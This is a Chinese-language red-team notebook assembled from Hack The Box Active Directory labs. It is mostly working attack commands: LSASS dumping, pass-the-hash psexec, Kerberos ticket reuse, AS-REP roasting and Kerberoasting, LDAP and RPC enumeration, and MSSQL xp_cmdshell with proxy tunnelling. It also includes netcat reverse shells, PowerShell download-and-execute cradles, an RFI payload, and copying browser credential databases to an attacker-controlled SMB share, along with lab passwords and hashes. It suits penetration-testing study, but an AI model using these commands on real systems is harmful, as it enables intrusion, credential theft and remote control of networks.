赞
踩
Ctrl + Shift + D: 水平分割当前终端。
Ctrl + Shift + T 当前命令行多出一个窗口
这边的.dmp文件是在smb上面下载的
GitHub - skelsec/pypykatz: Mimikatz implementation in pure Python
pypykatz lsa minidump lsass.DMP
psexec.py 是 Impacket 套件的⼀部分,⽤于与 Windows 和 Windows protocols 进⾏交互,如SMB, MSRPC 和其他协议。 psexec.py 的原理基于 Windows 的远程过程调用(RemoteProcedure Call, RPC)和SMB(Server Message Block, 服务器消息块)协议。具体来说,它使⽤以下⽅式进⾏远程执⾏命令:
\1. 通过 SMB 在⽬标计算机上建⽴⼀个会话。
\2. 上传⼀个服务的可执⾏⽂件到⽬标计算机。
\3. 利⽤ MSRPC 服务控制管理器(Service Control Manager, SCM)创建和启动⼀个新服务,这个服务执⾏上传的可执⾏⽂件。
\4. ⼀旦执⾏完成,删除远程服务并删除上传的⽂件。默认情况下, psexec.py 主要使⽤以下端⼝:TCP 445:⽤于直接 SMB 通信。TCP 139:NetBIOS 会话服务,也⽤于 SMB 通信,但是⽐ 445 更早版本的 SMB 会使⽤这个端⼝。除了这些,还有其他的 MSRPC 端⼝可能会被⽤到,例如 TCP 135,但是在⼤多数情况下,端⼝445 和 139 是最主要的。⼀个重要的问题,基于如上对psexec.py的了解,你应知道为什么我现在想到⽤psexec.py了?为什么之前⽤户的时候不想到⽤,⽐如 jari 还有 3v4Si0N ,现在⽤⼀下看:
因为他们没有操作管理员⽬录的smb权限。
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]
└─$ export PATH=/usr/share/doc/python3-impacket/examples/:$PATH
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]
└─$ psexec.py Administrador:61fSoAH78xpLNoY54ZCR@10.129.228.115
hash登入的
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.129.104.62
rc4票据的使用
将票据复制到本机用base64解密
base64 -d ticket.kirbi.b64 > ticket.kirbi
然后改成impack可以用到格式
ticketConverter.py ticket.kirbi ticket.ccache
横向
KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass
还有什么横向⼯具,使⽤条件是什么?
近就Impacket中的来说吧,类似于 psexec.py 。以下是其中的⼀些:
\1. smbexec.py:与 psexec.py 类似的⼯具,它的⼯作⽅式略有不同。它不需要上传服务的可
执⾏⽂件,⽽是利⽤共享来执⾏命令。它更隐蔽,不容易被某些安全⼯具检测到。
\2. atexec.py:这个⼯具使⽤任务计划程序服务通过 SMB 远程执⾏命令。它将命令作为计划任务添加到⽬标机器,并⽴即执⾏。
\3. dcomexec.py:利⽤ DCOM (分布式组件对象模型) 进⾏远程代码执⾏。它使⽤已注册的
DCOM 应⽤程序(例如 MMC20.Application、ShellWindows 等)来执⾏命令。
\4. wmiexec.py:这是⼀个⾮常隐蔽的⼯具,它使⽤ WMI (Windows 管理⼯具) 进⾏远程命令执⾏。WMI 是⼀个强⼤的 Windows 管理⼯具,⽽这个脚本利⽤它的功能来执⾏命令。
使⽤条件的差异:⼤多数这些⼯具都需要具有对⽬标机器的有效认证(⽤户名和密码或哈希)。⼯具的⼯作⽅式不同,所依赖的远程服务也不同。 psexec.py 和 smbexec.py 需要 SMB 和 RPC 服务,⽽ wmiexec.py 则需要 WMI 服务。
防⽕墙/⽹络策略:如果⽬标⽹络有严格的防⽕墙或⽹络策略,可能会阻⽌某些端⼝或服务的访
问。根据所使⽤的⼯具和⽬标环境,你可能需要绕过或调整这些限制。
如果通过端⼝特征判断具体使⽤哪⼀个?
\1. psexec.py:主要依赖于 TCP 445 端⼝进⾏ SMB 通信。在某些情况下,早期版本的 SMB 可能会使⽤ TCP 139,但 445 是现代默认端⼝。
\2. smbexec.py:使⽤ TCP 445 进⾏ SMB 通信。在某些情况下,早期版本的 SMB 可能也会使⽤ TCP 139 端⼝。
\3. atexec.py:使⽤ TCP 445 进⾏ SMB 通信和 TCP 135 与 MS-RPC 端点映射服务交互,任务计划器服务的远程操作也通过这个端⼝。
\4. wmiexec.py:它初始化时通常使⽤ TCP 445 进⾏ SMB 通信,同时也使⽤ TCP 135 与 MS
RPC 端点映射服务交互。此外,WMI 通信可能还会使⽤动态分配的⾼端⼝,这通常是在 TCP
49152-65535 范围内,但具体的端⼝可能会因配置和 Windows 版本⽽异。
\5. dcomexec.py:使⽤ TCP 445 进⾏ SMB 通信和 TCP 135 进⾏ MS-RPC 端点映射服务通
信。与 WMI 类似,DCOM 也可能使⽤动态分配的⾼端⼝,通常在 TCP 49152-65535 范围内。
reg.py
reg.py --hashes 'xxxxxxxxx' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU//
HKU 主键下存有用户凭据相关的信息,渗透测试下常用,
先看software,因为存的都是用户,软件的凭据
直接给了密码,如果没有要一个个往后看
\看⽤户组信息:>net groups /domain
>net groups "LAPS READ" /domain
net groups "LAPS ADM" /domain
net localgroup "administrator" 查看本地管理员
cmdkey /list
命令在 Windows 中用于显示本地计算机上存储的凭据
PowerSploit/Exfiltration/Invoke-Mimikatz.ps1 at master · PowerShellMafia/PowerSploit · GitHub
Invoke-Mimikatz.ps1
是一个 PowerShell 脚本,利用 Mimikatz 工具对 Windows 系统执行各种与凭据相关的攻击。Mimikatz 本身是一个强大的后利用工具,通常用于从 Windows 操作系统上的内存、凭证管理器和 LSASS(本地安全机构子系统服务)中提取纯文本密码、哈希值、PIN 码和 kerberos 票证。
该脚本是 PowerShell Empire 框架的一部分,该框架是一个开源后利用框架,可帮助渗透测试人员和红队人员模拟高级对手战术。它为不同的后利用活动提供了各种模块,并且Invoke-Mimikatz.ps1
是这样的模块之一,可以更轻松地通过 PowerShell 使用 Mimikatz。
以下是一些常见用例Invoke-Mimikatz.ps1
:
凭证转储:它可用于从受感染的 Windows 系统的内存中提取纯文本密码、NTLM 哈希值和 Kerberos 票证。
哈希传递攻击:它允许攻击者从 LSASS 中提取密码哈希值,并使用它们对其他系统进行身份验证,而无需知道实际的明文密码。
Kerberos 票证提取:它可以检索 Kerberos 票证,可用于进一步的攻击,包括 Kerberos 烘烤。
凭据滥用:一旦获得凭据,攻击者就可以滥用它们在网络内横向移动、升级权限或执行其他恶意活动。
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:Egotistical-bank.local /user:Administrator"'
hashcat john
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ (解密AES,在.xlm文件里面发现的)
现在我们是有⼀组⽤户名。还能在哪⼉找点,以增加成功的概率。可以,有web吗?rpc能访问吗?或者纯暴⼒破解。没有web。试⼀下RPC登录和纯暴⼒的。
###
每当我看到 DNS 时,都值得尝试区域传输。两者sauna.htb
都egotistical-bank.local
未能返回任何内容:
dig @10.10.10.175 AXFR Egotistical-bank.local
rpcclient -U '' -N 10.129.228.115 可以help看帮助输入命令
enumdomusers
: 这个命令尝试枚举在目标Windows域中的用户列表。然而,由于访问被拒绝,无法获取用户信息。
querydominfo
: 这个命令用于查询目标Windows域的信息,包括域的名称、SID(安全标识符)等。由于访问被拒绝,无法获取域信息。
srvinfo
: 这个命令尝试初始化srvsvc服务,然后查询有关远程系统的信息,如操作系统版本、计算机名称等。然而,由于访问被拒绝,无法初始化srvsvc服务,导致无法获取相关信息。
sudo rpcclient 10.129.96.60 -p 135 rpc的默认密码是139
rpcclient -U 'jari%Cos@Chung@!RPG' 10.129.228.115 (密码可以直接后面也可以输入
rpcclient $> setuserinfo2 gibdeon 23 'RedteamN0tes!'
gibden是用户名
sudo rpcclient 10.129.96.60 -p 135
用以下inpack里面的rpcdump
export PATH=/usr/share/doc/python3-impacket/examples:$PATH
rpcdump没有什么敏感信息,有一个uuid ( uuid dcom是基于网络的操作的每一个方法组件都有一个唯一标识符)
用rpcmap
爆破uuid和操作数 默认64所以久一点可以参数改
rpcmap.py ncacn_ip_tcp:10.129.96.60[135] -brute-uuids -brute-opnums
通过扫到的uuid值去goole上搜索 3和5是success 的 看一下跑了什么 server alive2,最后找到了这个工具
这个可以取回网络地址 远程枚举ip 解析网卡地址 找到ipv6的,看看是否有效
GitHub - mubix/IOXIDResolver: IOXIDResolver.py from AirBus Security
./IOXIDResolver.py -t 10.129.96.60
如果没有任何凭据,无法从 Kerberos 找到很多信息,因此我将继续使用 LDAP 服务,看看是否可以从匿名会话中转储信息。
首先,获取域名库的查询是ldapsearch -x -H 10.10.10.175 -s base namingcontexts
,其中:
-x
- 简单的身份验证
-h 10.10.10.175
- 主机查询
-s base
- 将范围设置为基础
naming contexts
- 返回命名上下文
下面这个会比上面的命令深入一点
可以用来-b 'DC=EGOTISTICAL-BANK,DC=LOCAL'
获取有关域的信息
ldapsearch -x -H ldap://10.10.10.175 -b "dc=Egotistical-bank,dc=local"
ldapsearch -x -h 10.10.10.192 -b "dc=blackfield,dc=local"
有一组密码可以试试
ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > support_ldap_dump
要枚举 LDAP,首先我将获取命名上下文:
root@kali# ldapsearch -h 10.10.10.182 -x -s base namingcontexts
这边的数据也很多
如果我只想找到人,我可以提供一个查询::
ldapsearch -H ladp://10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > lda-people
通过查看数据,Ryan Thompson 在最后有一个有趣的额外数据项cascadeLegacyPwd
:这个数据有点多,可以直接grep cascadeLegacyPwd试试
另一个办法
ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local"
快速获取用户的脏列表
ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}' > users.txt
可以将这两个也加进去,我需要将两个用户添加到列表中:Administrator 和 krbtgt。
echo "Administrator" >> users.txt echo "krbtgt" >> users.txt
然后我像这样运行 Kerbrute:
kerbrute.py -users users.txt -dc-ip 10.10.10.182 -domain cascade.local
不幸的是,没有一个帐户在输出中的名称旁边有“NO PREAUTH”。这意味着 AS-REP 烘焙不会轻易获胜。
一些帐户被禁用,值得注意,其余帐户均有效。
继续 LDAP 枚举,接下来我想要获取的是每个用户的列表以及有关其帐户的所有详细信息。
为此,我查找了一些可以在更精心设计的ldapsearch查询中使用的信息。
ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'dn' | grep -i 'users'
完美的!这告诉我需要如何编写下一个ldapsearch查询来转储有关每个用户的信息。我只需将“ou=Users,ou=UK”添加到我的原始查询中,它将转储有关每个域帐户的所有信息。
ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local"
向下滚动到第一个用户“Steve Smith”,我可以看到查询提供了有关该帐户的大量信息,包括组成员身份、描述、上次登录/注销、UAC 等。
“描述”中可能有密码;然而,它并不存在于下面。
这里最有趣的是用户s.smith位于 Audit Share、Remote Management Users 和 IT 组中。
接下来,我决定要 grep 出用户及其组成员身份的列表,以便我知道哪些用户是“高目标”
ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local" | grep -i '#\|memberof'
惊人的!这提供了 4 个有趣的用户,绝对值得更仔细地研究。
由于我已经看到了 Steve Smith 的帐户信息(上面的截图),接下来我转向 Ryan Thompson,看看是否可以找到有关他帐户的有趣信息。
ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local" | grep -A 50 -i "# Ryan Thompson"
ldapdomaindump -u search.htb\hope.sharp -p 'IsolationIsKey?' 10.10.11.129 -o ldap/
这会创建一堆 HTML、Json 和 grepable 格式的文件:
oxdf@hacky$ ls ldap/ domain_computers_by_os.html domain_computers.json domain_groups.json domain_policy.json domain_trusts.json domain_users.html domain_computers.grep domain_groups.grep domain_policy.grep domain_trusts.grep domain_users_by_group.html domain_users.json domain_computers.html domain_groups.html domain_policy.html domain_trusts.html domain_users.grep
kerbrute 的⽤户名枚举基于⼀个Kerberos的特性:当⼀个不存在的⽤户尝试认证时,Kerberos返回⼀个特定的错误,通常是 KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN ,表示"客户端的身份未知"。但是,如果⽤户名存在但密码错误,Kerberos返回的是另⼀个错误,如
KRB5KDC_ERR_PREAUTH_FAILED 或相关的错误。基于这种⾏为, kerbrute 可以区分哪些⽤户名是存在的(但密码不正确)和哪些是不存在的。具体来说, kerbrute 会对提供的⽤户名列表中的每⼀个⽤户名发送⼀个带有错误密码的认证请求。
根据Kerberos的响应, kerbrute 可以确定⽤户名是否存在
git库在这⾥ GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing
如果无go环境,需要安装sudo apt-get golang-go
然后进入文件夹,make linux
./kerbrute_linux_amd64 空命令显示帮助:
./kerbrute_linux_amd64 userenum --domain LicorDeBellota.htb --dc 10.129.228.115 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 500
userenum 通过 Kerberos 枚举有效的域用户名
爆破出三个有效⽤户名jari、administrador和sshd。
利用的收集的user_list
./kerbrute_linux_amd64 userenum -d htb.local --dc htb.local user_list
./kerbrute_linux_amd64 userenum --domain search.htb --dc 10.10.11.129 user_list -t 500
这个可以利用看密码是否有重用
kerbrute -domain blackfield.local -users users_final.txt -password '#00^BlackKnight' -dc-ip 10.10.10.192
也可以用nmap
sudo nmap -6 -p88 --script=krb5-enum-users --script-args krb5-enum-user.realm='htb.local',userdb=user_list htb.local 速度可能还快点
⼿⾥有⼀组⽤户名,可以尝试AS-REP Roasting攻击,看是否某个⽤户碰巧有UF_DONT_REQUIRE_PREAUTH 的标记设置为true,这个标记为真,将允许我们启动这个⽤户的kerberos认证过程,尽管我们不能成功认证,但在此过程中我们能得到hash,如果能破解就能推进我们的渗透。
这个尝试我们要⽤到impacket框架( GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols. )中的GetNPUsers.py⼯具。先让⼯具就位:
sudo updatedb
locate -i getnp
可以将路径 /usr/share/doc/python3-impacket/examples/ 加⼊到环境变量中,以便捷使⽤
impacket框架中的⼯具。
export PATH=$PATH:/usr/share/doc/python3-impacket/examples/
impacket
Completing external command 下面会罗列一堆类似impacket-addcomputer这种的
空命令可以看GetNPUsers.py的帮助信息
⼯具介绍中说明了这个⼯具的原理和⽤法:Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking,即利⽤“不需要Kerberos预认证”的设置检索⽬标域⽤户,并导出其tgt以供破解。
这⾥涉及AS-REP Roasting这种破解,也拓展性地说明⼀下。
AS-REP Roasting是⼀种针对Kerberos身份验证协议的攻击⽅法。简单引⽤⼀点⼉Kerberos的知识作为背景,Kerberos是⼀种计算机⽹络身份验证协议,它允许两个通信实体(客户端和服务器)在不安全的⽹络上进⾏双向身份验证。当⽤户尝试登录⼀个使⽤Kerberos的系统时,该⽤户⾸先会请求⼀个TGT(票据授予票据,Ticket Granting Ticket ⽤来发放整个认证过程以及客户端访问服务端时所需的服务授予票据);这个请求是发送给AS(身份验证服务)。如果请求被批准,AS会返回⼀个加密的TGT。在默认的Kerberos配置中,当⽤户不存在或密码错误时,AS不会返回TGT。但如果在Kerberos中启⽤了“pre-authentication”(预身份验证),那么在AS返回TGT之前,⽤户⾸先需要提供⼀种证据,证明他们知道密码。这增加了额外的安全性。
然⽽,如果预身份验证被禁⽤,攻击者可以请求TGT,即使他们不知道⽤户的密码。AS会返回⼀个加密的TGT。攻击者随后可以尝试离线破解这个加密的TGT,以获得⽤户的密码。
这就是AS-REP roasting攻击的基础:利⽤Kerberos配置中禁⽤预身份验证的情况,请求和接收加密的TGT,然后尝试离线破解它。
详解kerberos认证原理 | Hero (seevae.github.io)
GetNPUsers.py -dc-ip 10.129.104.62 -request 'htb.local/'
GetNPUsers.py -no-pass -dc-ip 10.129.228.115 LicorDeBellota.htb/ -usersfile user_list
LicorDeBellota.htb/
: 这是目标域的名称,结尾的斜杠表示这是一个域。
-usersfile user_list
: 这是指定包含要执行ASREPRoasting攻击的用户列表的文件的选项。user_list
是包含目标用户的文件的名称。
只获得kaorz的hash。jari、administrador和sshd均没有UF_DONT_REQUIRE_PREAUTH。
拓展:为什么有的⽤户UF_DONT_REQUIRE_PREAUTH设置了,有的没设置,为什么会有这种需求?
有这些种原因会导致设置了不需要验证:
\1. 兼容性问题:早期的Kerberos客户端可能不⽀持预认证,所以某些⽤户可能已经设置了该标志以确保与这些早期的客户端兼容。
\2. 简化身份验证:在某些情况下,管理员可能希望消除预认证步骤以简化身份验证过程,尽管这可能会增加安全⻛险。
\3. 特定的应⽤程序或服务的要求:某些应⽤程序或服务可能在其身份验证流程中有特殊的需求,这可能要求禁⽤预认证。
\4. 历史或配置错误:在某些情况下,该标志的配置可能是由于过去的配置错误或由于历史原因⽽被遗留下来的。
\5. 安全策略或考虑:尽管禁⽤预认证可能会降低安全性,但在某些特定的环境或场景中,管理员可能有其他安全措施或策略考虑,导致他们选择禁⽤预认证。
拓展 :有多少种roasting,区别是什么?
"Roasting" 是⼀种利⽤ Kerberos 身份验证协议的某些特性以尝试离线破解密码的攻击⽅法。主要有两种常⻅的 "roasting" 攻击:AS-REP Roasting 和 Kerberoasting。以下是它们之间的区别:
\1. AS-REP Roasting:
针对哪些账户: 这种攻击针对的是那些 UF_DONT_REQUIRE_PREAUTH 标志已设置的账户。
当这个标志被设置时,⽤户在获取 Kerberos Ticket Granting Ticket (TGT) 时不需要进⾏预认证。
攻击⽅法: 攻击者⾸先尝试对这些不需要预认证的账户进⾏ Kerberos 初始化请求,Active Directory (AD) 会返回⼀个包含该⽤户加密密码的 AS-REP 响应。攻击者可以捕获这个响应并尝试离线破解它,以获取⽤户的明⽂密码。
\2. Kerberoasting:
针对哪些账户: 这种攻击针对的是那些关联了 Service Principal Name (SPN) 的账户。这通常是服务账户,例如数据库或web应⽤程序使⽤的账户。
攻击⽅法: ⼀旦攻击者在 AD 环境中有⼀个有效的凭证(这不⼀定是⼀个⾼权限账户,普通⽤户凭证通常就⾜够了),他们就可以请求与特定 SPN 关联的服务票证。这些服务票证是使⽤服务账户的密码进⾏加密的。攻击者可以捕获这些票证并尝试离线破解,以获取服务账户的明⽂密码。
主要的区别:
AS-REP Roasting 针对的是设置了 UF_DONT_REQUIRE_PREAUTH 标志的账户,⽽Kerberoasting 针对的是关联了 SPN 的服务账户。
AS-REP Roasting 不需要任何初始化的 AD 凭据,⽽ Kerberoasting 需要。
两种攻击的⽬的都是获取加密的票证,然后进⾏离线破解以尝试获取明⽂密码。
这些攻击都利⽤了 Kerberos 的设计特性,⽽不是真正的 "漏洞"。防范这些攻击的⽅法包括定期更s改和加固密码、监控可疑的 Kerberos 流量和活动,以及使⽤⾼级加密算法。
crackmapexec smb 10.10.10.52 -d htb.local -u htb.local/james -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt
获得破解的密码Roper4155,即得到凭据: Kaorz:Roper4155 ,看这组凭据能⼲嘛?看端⼝和服务,22、1433、88都可以尝试。
GetUserSPNs.py -dc-ip 10.129.228.115 LicorDeBellota.htb/Kaorz:Roper4155
GetUserSPNs.py 是Impacket套件中的⼀个脚本,⽤于从Active Directory中请求和获取Service
Principal Names (SPNs)相关的数据。对于⽹络渗透测试者和红队⼈员来说,这是⼀个很有⽤的⼯具,它可以帮助他们发现可能的Kerberoasting攻击⽬标。命令的⽬的是使⽤提供的凭证向指定的域控制器请求SPNs。如果成功,你可以获取与这些SPNs相关联的服务帐户的哈希值,然后尝试破解这些哈希以获得明⽂密码。这种攻击技术称为Kerberoasting。
GetUserSPNs.py -request -dc-ip 10.129.45.13 active.htb/svc_tgs:GPPstillStandingStrong2k18 有时请求不到加-request参数试试
当ntlm认证不被允许的时候可以尝试kerbore 加-k参数
GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-host dc1.scrm.local -request -k
ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > support_ldap_dump
这个可以利用看密码是否有重用
./kerbrute_linux_amd64 -domain blackfield.local -users users_final.txt -password '#00^BlackKnight' -dc-ip 10.10.10.192
不在域内登入命令:
mssqlclient.py admin@10.129.7.108
⽤impacket中的SQL Server连接⼯具,尝试1433端⼝的认证连接,先看该⼯具的帮助。
mssqlclient.py --help
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
尝试连接:
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]
└─$ mssqlclient.py LicorDeBellota.htb/Kaorz:Roper4155@10.129.228.115
Impacket v0.11.0 - Copyright 2023 Fortra
mssql default credentials is sa 的账号
如果凭据没有登进去的话就可以试试sa
mssqlclient.py 'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115'
enable_xp_cmdshell 启用xp_cmdshell
(EXECUTE sp_configure 'show advanced options')这句也可以启用
xp_cmdshell whoami /priv xp_cmdshell systeminfo
xp_cmdshell (server configuration option) - SQL Server | Microsoft Learn 启用xp_cmdshell
xp_cmdshell net user svc_mssql /domain
上面两个信息都告诉我们他是winrm组的不过这台靶机不开放这个
但是也能够看到系统的5985端⼝是开放的,只是没对外暴露。
回顾⼀下winrm邮件的内容:
在上次的渗透测试之后,我们决定停⽌向外部展示 WinRM 的服务。我们的多名员⼯是 Evil-WinRM 的创建者,我们不想暴露这个服务... 我们已经创建了⼀个规则来阻⽌该服务的暴露,并且还封锁了 TCP、UDP甚⾄ ICMP 输出(以防⽌使⽤ icmp 类型的 shell)。
这种情况下chisel等通⽤协议的隧道和转发技术就⾏不通了。这⾥需要⽤到mssqlproxy这项技术进⾏尝试。
mssqlproxy ⽤于创建⼀个反向的 MSSQL(Microsoft SQL Server)隧道,使攻击者能够直接与被隐藏的 MSSQL 服务器进⾏交互,即使其并没有直接暴露到互联⽹上。它主要利⽤了 SQL Server的特性和协议来实现这种隧道。具体来说,它使⽤的是 TDS (Tabular Data Stream) 协议,这是SQL Server ⽤于与客户端通信的协议。这个⼯具的原理也是封装了xp_cmdshell。源码可以读到,想了解可有看库中的源码。
(impacket/examples/mssqlclient.py at master · fortra/impacket · GitHub)
python3 mssqlproxy/mssqlclient.py
'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115'
注意python版本要升级到3,可以⽤ GitHub - 0xdf-0xdf/mssqlproxy at python3 的mssqlclient.py 源⽂件(.dll文件在里面),我的操作就是这样的。这是python3版本的语⾔,同时也⽐impacket多了⼀些内容。然后根据⼯具的操作,激活ole并上传reciclador.dll⽂件:
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
结束掉这个shell,按照⼯具使⽤帮助,执⾏:
python3 mssqlproxy/mssqlclient.py
'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115' -install -clr
assembly.dll 这个.ddl一定要记得导入
然后执⾏:
python3 mssqlproxy/mssqlclient.py
'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115' -start -reciclador
'C:\Windows\Temp\reciclador.dll'
提示kali已经在1337端⼝监听中。可以验证⼀下
(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]
└─$ sudo netstat -tnlp | grep 1337
配置kali的socks5代理:
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]
└─$ sudo vim /etc/proxychains4.conf
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]
└─$ tail -n 10 /etc/proxychains4.conf
#
# proxy types: http, socks4, socks5, raw
# * raw: The traffic is simply forwarded to the proxy without
modification.
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1337
nmap扫描⼀下,看端⼝是否开放。
proxychains nmap -Pn -p 5985 127.0.0.1
5985/tcp open wsman
没问题,端⼝是开放状态了。可以获得正常的shell了
proxychains evil-winrm -i 127.0.0.1 -u svc_mssql -p '#mssql_s3rV1c3!2020'
或者你可以利用
⽤ wget https://raw.githubusercontent.com/Alamot/code
snippets/master/mssql/mssql_shell.py 下载Python脚本⽂件。
修改其中的服务器凭据代码如下:
MSSQL_SERVER="10.129.106.19"
MSSQL_USERNAME = "LicorDeBellota.htb\sa"
MSSQL_PASSWORD = "#mssql_s3rV1c3!2020"
BUFFER_SIZE = 5*1024
TIMEOUT = 30
其他不做任何修改,执⾏后提示如下错误:
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]
└─$ vim mssql_shell.py
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]
└─$ python mssql_shell.py
Traceback (most recent call last):
File
"/home/kali/Musics/RedteamNotes/BoxWalk/HackTheBox/PivotAPI/mssql_shell.py",
line 9, in <module>
import _mssql
ModuleNotFoundError: No module named '_mssql'
head -n 30 mssql_shell.py
提示没有安装 _mssql ,我们⽤pip看⼀下这个库存在吗?
pip3 list | grep mssql
(pymssql 2.2.2)
我的kali安装的算⽐较完整的,你⼼⾥也⼀定要知道,python2到3的升级有很多调整,会不会库变动了,因为这个背景,哪怕没变动,但你⼀定要想到这个排查思路。其实很多利⽤当时都是版本2第 93 / 107 页写的,后来升级到3,利⽤都不能⽤了,都需要调整,这两年还好,很多都升级,但还有没升级
的。所以我们要想到看⼀看⽤mssql关键字搜索出来的唯⼀的库,⾥⾯包括什么,会不会 _mssql 在其中,这种推断很合理
没错,就是这样,那就要调整导⼊的库了。
将shebang写明为python3,导⼊部分讲第⼀条 import _mssql 删掉,写成:
import pymssql
from pymssql import _mssql
执行还是报错了s
python3 mssql_shell.py
MSSQL failed: (18452, 'Login error. The login is from a domain that is not
trusted and cannot be used with integrated authentication. DB-Lib error message
20018, severity 14:
General SQL Server error: Check messages from the SQL Server
DB-Lib error message 20002, severity 9:
Adaptive Server connection failed (10.129.106.19)
DB-Lib error message 20002, severity 9:
Adaptive Server connection failed (10.129.106.19)')
python3 mssql_shell.py
(MSSQL失败:(18452, b'登录错误。该登录是来⾃⼀个不受信任的域,并且不能使⽤集成认证。DB-Lib错
误信息 20018, 严重性 14:
普通的SQL服务器错误:检查SQL服务器的消息
DB-Lib错误信息 20002, 严重性 9:
⾃适应服务器连接失败 (10.129.106.19)
DB-Lib错误信息 20002, 严重性 9:
⾃适应服务器连接失败 (10.129.106.19)'))
集成验证的问题,那我们将 MSSQL_USERNAME = "LicorDeBellota.htb\sa" 改成 MSSQL_USERNAME = "sa" ,即完整代码为:
执行后就可以获得系统权限
sudo python /usr/share/doc/python3-impacket/examples/smbserver.py share .
sudo wget https://github.com/vinsworldcom/NetCat64/releases/download/1.11.6.4/nc64.exe
http://10.129.203.230/RedteamNotes.php?RedteamNotes=\10.10.14.8\share\nc64.exe -e cmd.exe 10.10.14.8 443
nc64.exe -e powershell 10.10.16.16 443
-e powershell
:该选项指定建立连接后应执行PowerShell命令。
10.10.16.16
:这是 Netcat 工具将尝试连接的目标计算机的 IP 地址。
443
:这是 Netcat 工具将在目标计算机上尝试连接的端口号。
文件内容
system("powershell -c wget 10.10.16.16/nc64.exe -outfile
\programdata\nc64.exe");
system("\programdata\nc64.exe -e powershell 10.10.16.16 443");
programdata是用户都可以访问到的文件
curl -X POST 'https://streamio.htb/admin/?debug=master.php' -k -b
'PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp' -d 'include=http://10.10.16.16/shell.php'
wget http://10.10.14.67/shell.exe -o shell.exe wget用不了
Invoke-WebRequest -Uri http://10.10.14.9/PowerView.ps1 -UseBasicParsing -OutFile PowerView.ps1 wget的替代上传或者wget -UseBasicParsing <Your_URL>
在kali中建⽴smb服务,⽤来把⽂件从靶机中拿回来,要设定密码,否则不允许不安全的连接,也要指定-smb2support⽀持协议。
1.
/usr/share/doc/python3-impacket/examples/smbserver.py share . -user
RedteamNotes -pass RedteamNotes -smb2support
net use \10.10.14.9\share /u:RedteamNotes RedteamNotes
net use
:启动网络共享连接。
\\10.10.16.16\share
:指定网络共享路径。
/u:RedteamNotes``RedteamNotes
:指定用于身份验证的用户名 ( )。
RedteamNotes
:指定指定用户名的密码。
copy key4.db \10.10.14.9\share
copy logins.json \10.10.14.9\share
copy nss3.dll \10.10.14.9\share
2
kali impacket-smbserver share $(pwd) -smb2support
靶机
copy \10.10.14.27\share\Chimichurri.exe
Chimichurri.exe 10.10.14.27 5555
3.impacket
smbserver.py share . -smb2support -username df -password df
share
是您正在创建的共享的名称。
.
是共享目录的路径,在本例中是当前目录。
-smb2support
启用对 SMB2 的支持。
-username df -password df
指定用于身份验证的用户名和密码。
靶机
net use \\10.10.14.6\share /user:df df
在此命令中:
\\10.10.14.6\share
是您要映射的网络共享的路径。
/user:df df
指定用户名和密码。如果用户名或密码包含空格,则应用双引号引起来。在您的情况下,用户名似乎是“df”,密码也是“df”。
copy 20191018035324_BloodHound.zip \10.10.14.6\share\
4.
certutil.exe -urlcache -split -f http://10.10.16.11/JuicyPotato.exe
powershell iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/Invoke-PowerShellTcp.ps1')
powershell
iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/Invoke-PowerShellTcp.ps1')
powershell iex(new-object net.webclient).downloadstring('http://10.10.14.55:80/Sherlock.ps1')
powershell iex 用不了的话用
使用 cmd.exe 调用 PowerShell 并运行以下命令:
powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Get-SPNs.ps1')"
在xp_cmdshell里
